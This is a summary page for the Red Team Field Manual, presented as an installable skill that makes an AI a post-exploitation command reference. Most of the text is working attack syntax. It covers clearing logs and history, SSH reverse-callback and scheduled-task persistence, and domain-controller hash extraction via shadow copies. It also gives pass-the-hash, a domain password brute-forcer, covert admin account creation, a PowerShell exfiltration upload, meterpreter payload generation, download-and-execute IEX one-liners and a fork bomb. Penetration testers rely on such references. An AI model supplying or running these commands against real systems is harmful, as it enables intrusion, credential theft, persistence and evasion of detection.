Red Team Field Manual (RTFM)

Red Team Field Manual (RTFM) · Ben Clark ·96 pages

Compact operator field reference — Linux/Windows command syntax for post-exploitation, networking (tunneling, proxies, pivots), file operations, web attacks, databases, scripting one-liners, and wireless — organized for fast lookup during active engagements.

Capabilities (6)
  • Execute Linux/Windows post-exploitation commands from memory with exact syntax
  • Pivot through networks: SSH tunneling, SOCKS proxies, port forwarding
  • Perform file operations with timestamp manipulation and secure deletion
  • Enumerate users, processes, network connections, and services on compromise hosts
  • Use trusted OS tools (LOLBins) to minimize attacker footprint
  • Operate covert channels over DNS, ICMP, and HTTP/S
How to use

Install this skill and Claude becomes a fast-lookup reference for authorized red team operators — providing exact Linux and Windows post-exploitation command syntax, SSH/SOCKS/Chisel tunneling patterns, LOLBin-first operational principles, and pivoting architectures during active authorized engagements

Why it matters

During authorized engagements operators need correct command syntax instantly without breaking flow to documentation — a single wrong flag or forgotten option wastes critical time and leaves detectable artifacts, making a reliable field reference a force multiplier for operational efficiency

Example use cases
  • Designing a tunneling chain from an external attacker through a DMZ jumphost into a segmented internal network using SSH dynamic forwarding and proxychains with Chisel as fallback
  • Producing a sequence of native Windows commands to enumerate users, domain membership, autoruns, and open connections without dropping any external tooling to avoid EDR triggers
  • Outlining the Linux post-exploitation enumeration sequence — SUID files, sudoers, running services, cron jobs, and network connections — using only built-in commands after gaining initial shell access

Red Team Field Manual (RTFM)

A compact, command-oriented reference for penetration testers covering Linux/Windows post-exploitation, networking, tool syntax, web attacks, databases, scripting, and wireless — organized for fast field lookup during an engagement.

Source type: security | Domain: penetration testing | Audience: penetration testers, red team operators


Core Philosophy

The RTFM is a lookup reference, not a tutorial. It assumes the operator is already inside a system or network and needs the exact syntax for the next move. Every entry trades explanation for precision. The book is organized by platform and phase, not by kill chain stage — the operator maps techniques to their current situation.

Key operational principles implicit throughout:

  • Minimize footprint: use native OS tools before introducing binaries
  • Cover tracks immediately after actions (clear logs, zero history)
  • Use trusted protocols (HTTP/S, DNS, ICMP) for covert channels
  • Stage through pivot hosts; never connect directly attacker-to-target when avoidable
  • Verify environment (OS version, architecture, privileges) before executing payloads

Key Concepts & Reference

Linux/Unix — Network Commands

watch ss -tp                          # Network connections (live)
netstat -ant                          # TCP connections (-anu for UDP)
netstat -tulpn                        # Connections with PIDs
lsof -i                               # Established connections
smb://ip/share                        # Access Windows SMB share
smbclient -0 user\\ip\share           # SMB connect
ifconfig eth# ip/cidr                 # Set IP and netmask
ifconfig eth0:1 ip/cidr               # Set virtual interface
route add default gw gw_ip            # Set gateway
ifconfig eth# mtu [size]              # Change MTU size
export MAC=xx:xx:xx:xx:xx:xx          # Change MAC (export method)
ifconfig int hw ether MAC             # Change MAC (ifconfig method)
macchanger -m MAC int                 # Change MAC (Backtrack)
iwlist int scan                       # Built-in wifi scanner
dig -x ip                             # Domain reverse lookup
host ip                               # Domain reverse lookup
host -t SRV _service._tcp.url.com     # SRV record lookup
dig @ip domain -t AXFR                # DNS zone transfer
host -l domain namesvr                # DNS zone transfer (alt)
ip xfrm state list                    # Print existing VPN keys
ip addr add ip/cidr dev eth0          # Adds 'hidden' interface
/var/log/messages | grep DHCP         # List DHCP assignments
tcpkill host ip and port port         # Block ip:port
echo "1" > /proc/sys/net/ipv4/ip_forward  # Turn on IP forwarding
echo "nameserver x.x.x.x" >> /etc/resolv.conf  # Add DNS server

Linux/Unix — System Info

id                    # Current username
w                     # Logged on users
who -a                # User information
last -a               # Last users logged on
ps -ef                # Process listing
df -h                 # Disk usage
uname -a              # Kernel version/CPU info
mount                 # Mounted file systems
getent passwd         # Show list of users
PATH=$PATH:/home/mypath  # Add to PATH variable
kill pid              # Kill process
cat /etc/issue        # Show OS info
cat /etc/*release*    # Show OS version info
cat /proc/version     # Show kernel info
rpm --query -all      # Installed pkgs (Redhat)
rpm -ivh *.rpm        # Install RPM (-e to remove)
dpkg --get-selections # Installed pkgs (Ubuntu)
dpkg -i *.deb         # Install DEB (-r to remove)
pkginfo               # Installed pkgs (Solaris)
which tsch/csh/ksh/bash  # Show location of executable
chmod -so tcsh/csh/ksh   # Disable shell, force bash

Linux/Unix — File Commands

diff file1 file2                   # Compare files
rm -rf dir                         # Force delete directory
shred -f -u file                   # Overwrite/delete file
touch -r ref_file file             # Match ref_file timestamp
touch -t YYYYMMDDHHmm file         # Set file timestamp
sudo fdisk -l                      # List connected drives
mount /dev/sda# /mnt/usbkey        # Mount USB key
md5sum -t file                     # Compute MD5 hash
echo -n "str" | md5sum             # Generate MD5 hash
sha1sum file                       # SHA1 hash of file
sort -u                            # Sort/show unique lines
grep -c "str" file                 # Count lines with "str"
tar cf file.tar files              # Create .tar
tar xf file.tar                    # Extract .tar
tar czf file.tar.gz files          # Create .tar.gz
tar xzf file.tar.gz                # Extract .tar.gz
tar cjf file.tar.bz2 files         # Create .tar.bz2
tar xjf file.tar.bz2               # Extract .tar.bz2
gzip file                          # Compress/rename file
gzip -d file.gz                    # Decompress .gz
upx -9 -o out.exe orig.exe         # UPX pack executable
dd skip=1000 count=2000 bs=8 if=file of=file  # Cut block from file
split -b 9K \file prefix           # Split file into 9K chunks
awk 'sub("$","\r")' unix.txt > win.txt  # Win compatible text
find -i -name file -type *.pdf     # Find PDF files
find / -perm -4000 -o -perm -2000 -exec ls -ldb {} \;  # Find setuid files
dos2unix file                      # Convert to Unix format
chattr (+/-)i file                 # Set/unset immutable bit

Linux/Unix — Cover Your Tracks

echo "" > /var/log/auth.log        # Clear auth.log
echo "" > ~/.bash_history          # Clear bash history (current user)
rm ~/.bash_history -rf             # Delete .bash_history file
history -c                         # Clear current session history
export HISTFILESIZE=0              # Set history max lines to 0
export HISTSIZE=0                  # Set history max commands to 0
unset HISTFILE                     # Disable history logging
kill -9 $$                         # Kill current session
ln /dev/null ~/.bash_history -sf   # Permanently send all history to /dev/null

Linux/Unix — Key File Locations

/etc/shadow          # Local user hashes
/etc/passwd          # Local users
/etc/group           # Local groups
/etc/rc.d            # Startup services
/etc/init.d          # Service init scripts
/etc/hosts           # Known hostnames and IPs
/etc/HOSTNAME        # Full hostname with domain
/etc/network/interfaces  # Network configuration
/etc/profile         # System environment variables
/etc/apt/sources.list    # Ubuntu sources list
/etc/resolv.conf     # Nameserver configuration
/home/user/.bash_history  # Bash history
/usr/share/wireshark/manuf  # Vendor-MAC lookup
~/.ssh/              # SSH keystore
/var/log             # System log files (Linux)
/var/adm             # System log files (Unix)
/var/spool/cron      # Cron files
/var/log/apache/access.log  # Apache connection log
/etc/fstab           # Static filesystem info

Linux/Unix — Scripting

# Ping sweep
for x in {1..254..1}; do ping -c 1 1.1.1.$x | grep "64 b" | cut -d" " -f4 >> ips.txt; done

# DNS reverse lookup
for ip in {1..254..1}; do dig -x 1.1.1.$ip | grep $ip >> dns.txt; done

# Automated domain name resolve
#!/bin/bash
echo "Enter Class C Range: i.e. 192.168.3"
read range
for ip in {1..254..1}; do
  host $range.$ip | grep "name pointer" | cut -d" " -f5
done

# Fork bomb (crashes system by spawning infinite processes)
:(){:|:&};:

Linux/Unix — SSH Callback (Crontab Persistence)

# Set up in crontab to callback every X minutes
# Uses private key on target to connect to public key on red team box
# Red teamer accesses target via: ssh -p4040 localhost

killall ssh > /dev/null 2>&1
sleep 5
REMLIS=4040
REMUSR=user
HOSTS="domain1.com domain2.com domain3.com"
for LIVEHOST in $HOSTS; do
  COUNT=$(ping -c2 $LIVEHOST | grep 'received' | awk -F',' '{print $2}' | awk '{print $1}')
  if [[ $COUNT -gt 0 ]]; then
    ssh -R ${REMLIS}:localhost:22 -i "/home/${REMUSR}/.ssh/id_rsa" -N ${LIVEHOST} -l ${REMUSR}
  fi
done

Linux/Unix — IPTables

iptables-restore < file                    # Restore iptables rules
iptables -L -v --line-numbers              # List rules with counters
iptables -F                                # Flush all rules
iptables -P INPUT/FORWARD/OUTPUT ACCEPT/REJECT/DROP  # Change default policy
iptables -A INPUT -i iface -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -D INPUT -#                       # Delete nth inbound rule
iptables -t raw -L -n                      # Disable statefulness (throughput)
iptables -P INPUT DROP                     # Drop all input packets

# Allow SSH outbound on port 22
iptables -A OUTPUT -o iface -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -i iface -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT

# Port forward (pivot)
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp -i eth0 -j DNAT -d pivotip --dport 443 --to-destination attk_ip:443
iptables -t nat -A POSTROUTING -p tcp -i eth0 -j SNAT -s target_subnet/cidr -d attackip --dport 443 --to-source pivotip
iptables -t filter -I FORWARD 1 -j ACCEPT

Windows — File Locations

%SYSTEMROOT%                              # Typically C:\Windows
%SYSTEMROOT%\System32\drivers\etc\hosts  # DNS entries
%SYSTEMROOT%\System32\drivers\etc\networks  # Network settings
%SYSTEMROOT%\system32\config\SAM         # User & password hashes
%SYSTEMROOT%\repair\SAM                  # Backup SAM
%SYSTEMROOT%\System32\config\RegBack\SAM # Backup SAM
%WINDIR%\system32\config\AppEvent.Evt    # Application log
%WINDIR%\system32\config\SecEvent.Evt    # Security log
%ALLUSERSPROFILE%\Start Menu\Programs\Startup\  # Startup (all users)
%USERPROFILE%\Start Menu\Programs\Startup\      # Startup (user)
%SYSTEMROOT%\Prefetch                    # Prefetch dir (EXE logs)

Windows — Startup Directories by Version

# NT 6.1, 6.0 (Vista/7/2008):
%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup  # All users
%SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup  # Specific user

# NT 5.2, 5.1, 5.0 (XP/2003/2000):
%SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup

# Windows 9x:
%SystemDrive%\windows\Start Menu\Programs\Startup

# NT 4.0, 3.51, 3.50:
%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup

Windows — System Info Commands

ver                              # Get OS version
sc query state=all               # Show services
tasklist /svc                    # Show processes & services
tasklist /m                      # Show all processes & DLLs
tasklist /S ip /v                # Remote process listing
taskkill /PID pid /F             # Force terminate process
systeminfo /S ip /U domain\user /P Pwd    # Remote system info
reg query \\ip\RegDomain\Key /v Value     # Query remote registry
reg query HKLM /f password /t REG_SZ /s  # Search registry for password
fsutil fsinfo drives             # List drives (must be admin)
dir /a /s /b c:\*.pdf*           # Search for all PDFs
dir /a /b c:\windows\kb*         # Search for patches
findstr /si password* .txt | *.xml | *.xls  # Search files for password
tree /F /A c:\ > tree.txt        # Directory listing of C:
reg save HKLM\Security security.hive       # Save security hive
echo %USERNAME%                  # Current user

Windows — Net/Domain Commands

net view /domain                          # Hosts in current domain
net view /domain:[MYDOMAIN]               # Hosts in specific domain
net user /domain                          # All users in domain
net user user pass /add                   # Add user
net localgroup "Administrators" user /add # Add user to Administrators
net accounts /domain                      # Domain password policy
net localgroup "Administrators"           # List local Admins
net group /domain                         # List domain groups
net group "Domain Admins" /domain         # List Domain Admin members
net group "Domain Controllers" /domain    # List Domain Controllers
net share                                 # Current SMB shares
net session | find "\\"                   # Active SMB sessions
net user user /ACTIVE:yes /domain         # Unlock domain user account
net user user "newpassword" /domain       # Change domain user password
net share share c:\share /GRANT:Everyone,FULL  # Share folder

Windows — Remote Commands

tasklist /S ip /v                         # Remote process listing
systeminfo /S ip /U domain\user /P Pwd    # Remote system info
net share \\ip                            # Shares of remote computer
net use \\ip                              # Remote filesystem (IPC$)
net use z: \\ip\share password /user:DOMAIN\user  # Map drive with creds
reg add \\ip\regkey\value                 # Add registry key remotely
sc \\ip create service binpath=C:\Windows\System32\x.exe start=auto  # Create remote service
xcopy /s \\ip\dir C:\local               # Copy remote folder
shutdown /m \\ip /r /t 0 /f              # Remotely reboot machine

Windows — Network Commands

ipconfig /all                    # IP configuration
ipconfig /displaydns             # Local DNS cache
netstat -ana                     # Open connections
netstat -anop tcp                # Netstat loop
netstat -ani | findstr LISTENING # LISTENING ports
route print                      # Routing table
arp -a                           # ARP table (known MACs)
nslookup, set type=any, ls -d domain > results.txt, exit  # DNS zone transfer
nslookup -type=SRV _www._tcp.url.com  # Domain SRV lookup
tftp -I ip GET remotefile        # TFTP file transfer
netsh wlan show profiles         # Saved wireless profiles
netsh firewall set opmode disable # Disable firewall (old)
netsh wlan export profile folder=. key=clear  # Export wifi plaintext pwd
netsh interface ip show interfaces  # List interface IDs/MTUs
netsh interface ip set address local static ip nmask gw ID  # Set IP
netsh interface ip set dns local static ip   # Set DNS server
netsh interface ip set address local dhcp    # Set interface to DHCP

# Disable Windows firewall (modern)
netsh advfirewall set currentprofile state off
netsh advfirewall set allprofiles state off

# Native Windows port forward (must be admin)
netsh interface portproxy add v4tov4 listenport=3000 listenaddress=1.1.1.1 connectport=4000 connectaddress=2.2.2.2
# Remove:
netsh interface portproxy delete v4tov4 listenport=3000 listenaddress=1.1.1.1

Windows — WMIC

wmic [alias] get /?              # List all attributes
wmic [alias] call /?             # Callable methods
wmic process list full           # Process attributes
wmic service list                # List services
wmic ntdomain list               # Domain and DC info
wmic qfe                         # List all patches
wmic process call create "process_name"  # Execute process
wmic process where name="process" call terminate  # Terminate process
wmic logicaldisk get description,name    # View logical shares
wmic cpu get DataWidth /format:list      # Display 32/64-bit

# Execute file hosted over SMB remotely
wmic /node:targetIP /user:domain\user /password:pass process call create "\\smbIP\share\evil.exe"

# Uninstall software
wmic product get name /value
wmic product where name="XXX" call uninstall /nointeractive

# Remotely determine logged in user
wmic /node:remotecomputer computersystem get username

# Remote process listing every second
wmic /node:machinename process list brief /every:1

# Remotely start RDP
wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

# List times user logged on
wmic netlogin where (name like "%adm%") get numberoflogons

# Search for services with unquoted paths (privilege escalation check)
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\windows\\" | findstr /i /v """

Windows — Volume Shadow Copy (Domain Controller Hash Extraction)

# Step 1: List existing shadow copies
wmic /node:DC_IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"

# Step 2: Create shadow copy
wmic /node:DC_IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c vssadmin create shadow /for=C: 2>&1 > C:\temp\output.txt"

# Step 3: Copy SYSTEM hive from shadow
wmic /node:DC_IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hive"

# Step 4: Copy ntds.dit from shadow
wmic /node:DC_IP /user:"DOMAIN\user" /password:"PASS" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\NTDS\NTDS.dit C:\temp\ntds.dit"

# Step 5: From Linux — use ntdsxtract + libesedb to export hashes
bkhive SYSTEM key.txt
samdump2 SAM key.txt

Windows — PowerShell

get-content file                              # Display file contents
get-help command -examples                    # Show examples
get-command *string*                          # Search for cmdlets
get-service                                   # Display services
get-wmiobject -class win32_service            # Services (alternate creds)
$PSVersionTable                               # Display PowerShell version
powershell.exe -version 2.0                   # Run PS 2.0 from PS 3.0
get-service | measure-object                  # Count services
get-psdrive                                   # List PSDrives
get-process | select -expandproperty name     # Return process names only
get-help * -parameter credential              # Cmdlets that take creds
get-wmiobject -list -namespace *network*      # Available WMI network cmds
[Net.DNS]::GetHostEntry("ip")                 # DNS lookup

# Clear event logs for remote server
Get-EventLog -list
Clear-EventLog -logname Application,Security -computername SVR01

# Export OS info to CSV
Get-WmiObject -class win32_operatingsystem | select -property * | export-csv c:\os.txt

# List running services
Get-Service | where-object {$_.status -eq "Running"}

# Persistent PSDrive to remote file share
New-PSDrive -Persist -PSProvider FileSystem -Root \\1.1.1.1\tools -Name i

# Find files modified after 8/20
Get-Childitem -Path c:\ -Force -Recurse -Filter *.log -ErrorAction SilentlyContinue | where {$_.LastWriteTime -gt "2012-08-20"}

# File download over HTTP
(new-object system.net.webclient).downloadFile("url","dest")

# TCP port scanner
$ports=(80,443,22); $ip="x.x.x.x"; foreach ($port in $ports) {try{$socket=New-object System.Net.Sockets.TCPClient($ip,$port);}catch{}; if ($socket -eq $NULL){echo $ip":"$port"- Closed";}else{echo $ip":"$port"- Open"; $socket=$NULL;}}

# Ping with 500ms timeout
$ping = New-Object System.Net.NetworkInformation.ping
$ping.Send("ip",500)

# PowerShell runas
$pw = convertto-securestring -string "PASSWORD" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "DOMAIN\user",$pw
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process file.exe -verb runas}'

# Send email
powershell.exe Send-MailMessage -to "email" -from "email" -subject "Subject" -a "attachment" -body "Body" -SmtpServer Target_Email_Server_IP

# PowerShell data exfil via HTTP POST
powershell.exe -noprofile -noninteractive -command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $server='http://YOUR_IP/folder'; $filepath='C:\master.zip'; $http=new-object System.Net.WebClient; $response=$http.UploadFile($server,$filepath);"

Windows — PowerShell Meterpreter (Memory Execution)

# Generate payload on attack box (requires Metasploit 4.5+)
./msfvenom -p windows/meterpreter/reverse_https -f psh -a x86 LHOST=1.1.1.1 LPORT=443 > audit.ps1

# Start listener
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 1.1.1.1
set LPORT 443
exploit -j

# On target — execute encoded payload
powershell.exe -noexit -encodedCommand <base64_encoded_string>

Windows — Scheduled Task Persistence

# Create scheduled task (must be admin)
SCHTASKS /CREATE /TN "Task Name" /SC HOURLY /ST HH:MM /SD MM/DD/YYYY /ED MM/DD/YYYY /tr "C:\my.exe" /RU DOMAIN\user /RP password /F /RL HIGHEST

# PowerShell payload on user login (x86)
SCHTASKS /CREATE /TN "Task Name" /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -Noninteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://ip:port/payload''))'" /SC onlogon /RU System

# PowerShell payload on system start
SCHTASKS /CREATE /TN "Task Name" /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -Noninteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://ip:port/payload''))'" /SC onstart /RU System

# PowerShell payload on user idle (30 min)
SCHTASKS /CREATE /TN "Task Name" /TR "..." /SC onidle /i 30

Windows — Registry Keys of Interest

# OS info
HKLM\Software\Microsoft\Windows NT\CurrentVersion
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v ProductName
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v InstallDate
HKLM\Software\Microsoft\Windows NT\CurrentVersion /v RegisteredOwner
HKLM\System\CurrentControlSet\Control\TimeZoneInformation /v ActiveTimeBias

# Persistence / startup locations
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run

# Credentials
HKLM\Security\Policy\Secrets              # LSA secrets (VPN, autologon, other passwords)
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\autoadminlogon

# Audit policy
HKLM\Security\Policy\PolAdTev

# User activity
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\Software\Microsoft\Internet Explorer\TypedURLs
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\RegEdit /v LastKey

# Mapped drives / devices
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU
HKLM\System\MountedDevices
HKLM\System\CurrentControlSet\Enum\USBStor

# Turn on IP forwarding
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters  IPEnableRouter = 1

Windows — Domain Enumeration (DSQuery)

dsquery user -limit 0                              # All users, no limit
dsquery group "cn=users,dc=victim,dc=com"          # Groups for domain
dsquery group -name "domain admins" | dsget group -members -expand  # Domain admins
dsquery user -name bob | dsget user -memberof -expand  # All groups for user
dsquery user -name bob | dsget user -samid         # User's login ID
dsquery user -inactive 2                           # Accounts inactive 2 weeks

# Add domain user
dsadd user "CN=Bob,CN=Users,DC=victim,DC=com" -samid bob -pwd bobpass -display "Bob" -pwdneverexpires yes -memberof "CN=Domain Admins,CN=Users,DC=victim,DC=com"

# Delete user
dsrm -subtree -noprompt "CN=Bob,CN=Users,DC=victim,DC=com"

# List all operating systems on domain
dsquery * "DC=victim,DC=com" -scope subtree -attr "cn" "operatingSystem" "operatingSystemServicePack" -filter "(&(objectclass=computer)(objectcategory=computer)(operatingSystem=Windows*))"

# List all site names
dsquery site -o rdn -limit 0

# List all subnets within a site
dsquery subnet -site sitename -o rdn

# Find servers in domain
dsquery * domainroot -filter "(&(objectCategory=Computer)(objectClass=Computer)(operatingSystem=*Server*))" -limit 0

# Domain controllers per site
dsquery * "CN=Sites,CN=Configuration,DC=forestRootDomain" -filter "(objectCategory=Server)"

Windows — RDP (Terminal Services)

# Enable RDP via registry
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
net start termservice
sc config termservice start=auto

# Tunnel RDP over port 443 (restart TS after)
REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 443 /f

# Disable NLA
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /v UserAuthentication /t REG_DWORD /d "0" /f

# Add firewall exception
netsh firewall set service type = remotedesktop mode = enable

Windows — PsExec

# Execute file on remote with credentials
psexec /accepteula \\targetIP -u domain\user -p password -c -f \\smbIP\share\file.exe

# Run remote command with hash (pass-the-hash)
psexec /accepteula \\ip -u Domain\user -p LM:NTLM c:\Progra~1 cmd.exe /c dir

# Run remote command as SYSTEM
psexec /accepteula \\ip -s cmd.exe

Windows — Scripting

# Ping sweep (nested for loop)
for /L %i in (10,1,254) do @(for /L %x in (10,1,254) do @ping -n 1 -w 100 10.10.%i.%x 2>nul | find "Reply" && echo 10.10.%i.%x >> live.txt)

# Loop through file
for /F %i in (file) do command

# Domain brute forcer
for /F %n in (names.txt) do for /F %p in (pwds.txt) do net use \\DC01\IPC$ /user:domain\%n %p | NUL 2>&1 && echo %n:%p && net use /delete \\DC01\IPC$ > NUL

# DNS reverse lookup
for /L %i in (100,1,105) do @nslookup 1.1.1.%i | findstr /i /c:"Name" >> dns.txt && echo Server: 1.1.1.%i >> dns.txt

# Search for files beginning with "pass"
forfiles /P c:\temp /s /m pass* -c "cmd /c echo @isdir @fdate @ftime @relpath @path @fsize"

# Get permissions on service executables (privilege escalation check)
for /f "tokens=2 delims='='" %a in ('wmic service list full|find /i "pathname"|find /i /v "system32"') do @echo %a >> c:\windows\temp\3afd4ga.tmp
for /f eol= delims= %a in (c:\windows\temp\3afd4ga.tmp) do cmd.exe /c icacls "%a"

Networking — Common Ports

21    FTP          88    Kerberos      389   LDAP         1433/4  MS-SQL
22    SSH          110   POP3          443   HTTPS        1521    Oracle
23    Telnet       111   RPC           445   SMB          2049    NFS
25    SMTP         123   NTP (UDP)     500   ISAKMP       3128    Squid Proxy
49    TACACS       135   Windows RPC   514   Syslog       3306    MySQL
53    DNS          137   NetBIOS       520   RIP          3389    RDP
67/68 DHCP (UDP)   138   NetBIOS       546   DHCPv6       5060    SIP
69    TFTP (UDP)   139   SMB           902   VMware       5222    Jabber
80    HTTP         143   IMAP          1080  Socks Proxy  5432    Postgres
                   161   SNMP (UDP)    1194  VPN          5900    VNC
                   179   BGP           1629  DameWare     6000    X11
                   201   AppleTalk                        6129    DameWare
                                                          6667    IRC
                                                          9001    Tor / HSQL
                                                          9100    JetDirect

Networking — TTL Fingerprinting

Windows:  TTL 128
Linux:    TTL 64
Network:  TTL 255
Solaris:  TTL 255

Networking — IPv4 Subnetting Quick Reference

/30  255.255.255.252    2 hosts
/29  255.255.255.248    6 hosts
/28  255.255.255.240    14 hosts
/27  255.255.255.224    30 hosts
/26  255.255.255.192    62 hosts
/25  255.255.255.128    126 hosts
/24  255.255.255.0      254 hosts
/23  255.255.254.0      510 hosts
/22  255.255.252.0      1022 hosts
/21  255.255.248.0      2046 hosts
/20  255.255.240.0      4094 hosts
/16  255.255.0.0        65534 hosts
/8   255.0.0.0          16777214 hosts

# Subnet range calculation: Given 1.1.1.101/28
# /28 = 255.255.255.240 → 256-240=16 → ranges of 16
# Range containing .101 = 1.1.1.96 – 1.1.1.111

Networking — Packet Capture (tcpdump)

# Capture on eth0 in ASCII and hex, write to file
tcpdump -i eth0 -XX -w out.pcap

# Capture HTTP traffic to 2.2.2.2
tcpdump -i eth0 port 80 dst 2.2.2.2

# Show connections to specific IP excluding subnet
tcpdump -i eth0 -tttt dst 192.168.1.22 and not net 192.168.1.0/24

# Print all ping responses
tcpdump -i eth0 'icmp[icmptype] == icmp-echoreply'

# Capture 50 DNS packets with timestamp
tcpdump -i eth0 -c 50 -tttt 'udp and port 53'

# Capture TCP on port range 22-23
tcpdump -nvvX -s0 -i eth0 tcp portrange 22-23

# Capture traffic for N seconds
dumpcap -i eth0 -a duration:N -w file.pcap

# Replay pcap at top speed
tcpreplay --topspeed --loop=0 --intf=eth0 file.pcap

Networking — Nmap

# Scan types
nmap -sP  # ping scan
nmap -sS  # SYN scan
nmap -sT  # connect scan
nmap -sU  # UDP scan
nmap -sO  # protocol scan

# Common options
nmap -p1-65535          # all ports
nmap -T[0-5]            # timing (0=paranoid, 5=insane)
nmap -n                 # no DNS resolution
nmap -O                 # OS detection
nmap -A                 # aggressive (OS+version+scripts)
nmap -sV                # version detection
nmap -PN                # no ping
nmap -6                 # IPv6 scan
nmap --randomize-hosts  # randomize targets
nmap -oX file           # XML output
nmap -oG file           # grepable output
nmap -oA file           # all formats
nmap -iL file           # read hosts from file
nmap --exclude file     # exclude hosts in file

# Firewall evasion
nmap -f                 # fragment packets
nmap -S ip              # spoof source IP
nmap -g #               # spoof source port
nmap -D ip,ip           # decoys
nmap --mtu #            # set MTU size
nmap --spoof-mac mac    # spoof MAC
nmap --data-length size # append random data
nmap --scan-delay 5s    # scan delay
nmap --ttl #            # set TTL

# Generate live host file
nmap -sP -n -oX out.xml 1.1.1.0/24 2.2.2.0/24 | grep "Nmap" | cut -d " " -f 5 > live_hosts.txt

# Compare nmap results
ndiff scan1.xml scan2.xml

# DNS reverse lookup
nmap -R -sL -dns-server server 1.1.1.0/24

# IDS evasion test (xmas scan with decoys)
for x in {1..10000..1}; do nmap -T5 -sX -S spoof-source-IP -D comma-separated-decoys --spoof-mac aa:bb:cc:dd:ee:ff -e eth0 -Pn targeted-IP.; done

Networking — Wireshark Display Filters

eth.addr / eth.dst / eth.src              # MAC filters
ip.addr / ip.dst / ip.src                 # IP filters (ipv6. prefix for IPv6)
tcp.port / tcp.dstport / tcp.srcport      # TCP port filters
tcp.flags                                 # TCP flags (ack,fin,push,reset,syn,urg)
udp.port / udp.dstport / udp.srcport      # UDP port filters
http.authbasic                            # Basic authentication
http.www_authenticate                     # HTTP authentication
http.data                                 # HTTP data portion
http.cookie                               # HTTP cookie
http.referer                              # HTTP referer
http.server                               # HTTP Server header
http.user_agent                           # HTTP user agent
rip.auth.passwd                           # RIP password
wlan.fc.type eq 0                         # 802.11 management frame
wlan.fc.type eq 1                         # 802.11 control frame
wlan.fc.type eq 2                         # 802.11 data frame
wlan.fc.type_subtype eq 0                 # Association request
wlan.fc.type_subtype eq 2                 # Reassociation req
wlan.fc.type_subtype eq 4                 # Probe request
wlan.fc.type_subtype eq 8                 # Beacon
wlan.fc.type_subtype eq 10               # Disassociate
wlan.fc.type_subtype eq 11               # Authenticate

# Comparison: eq (==), ne (!=), gt (>), lt (<), ge (>=), le (<=)
# Logical: and (&&), or (||), xor (^^), not (!)

Networking — DNS Recon

# Reverse lookup for IP range
./dnsrecon.rb -t rvs -i 192.1.1.1,192.1.1.20

# Standard DNS records
./dnsrecon.rb -t std -d domain.com

# Enumerate subdomains
./dnsrecon.rb -t brt -d domain.com -w hosts.txt

# Zone transfer
./dnsrecon -d domain.com -t axfr

Networking — Tunneling

# fpipe — listen on 1234, forward to port 80 on 2.2.2.2
fpipe.exe -l 1234 -r 80 2.2.2.2

# socat — listen on 1234, forward to port 80 on 2.2.2.2
socat TCP4-LISTEN:1234 TCP4:2.2.2.2:80

# socat — tunnel IPv6 through IPv4 tools
socat TCP-LISTEN:8080,reuseaddr,fork TCP6:[2001::]:80

# socks.exe — scan intranet through SOCKS proxy
# On redirector (1.1.1.1):
socks.exe -i1.1.1.1 -p 8080
# Add to /etc/proxychains.conf: socks4  1.1.1.1  8080
proxychains nmap -PN -vv -sT -p 22,135,139,445 2.2.2.2

# SSH — dynamic tunnel with proxychains
ssh -D1080 root@2.2.2.2
# Edit /etc/proxychains.conf: socks4  1.1.1.1  1080
proxychains nmap -sT -p80,443 3.3.3.3

# SSH — local port forward
ssh -L8080:3.3.3.3:443 root@2.2.2.2

# SSH — remote port forward
ssh -R8080:127.0.0.1:443 root@2.2.2.2

# stunnel — SSL-encapsulated NC tunnel
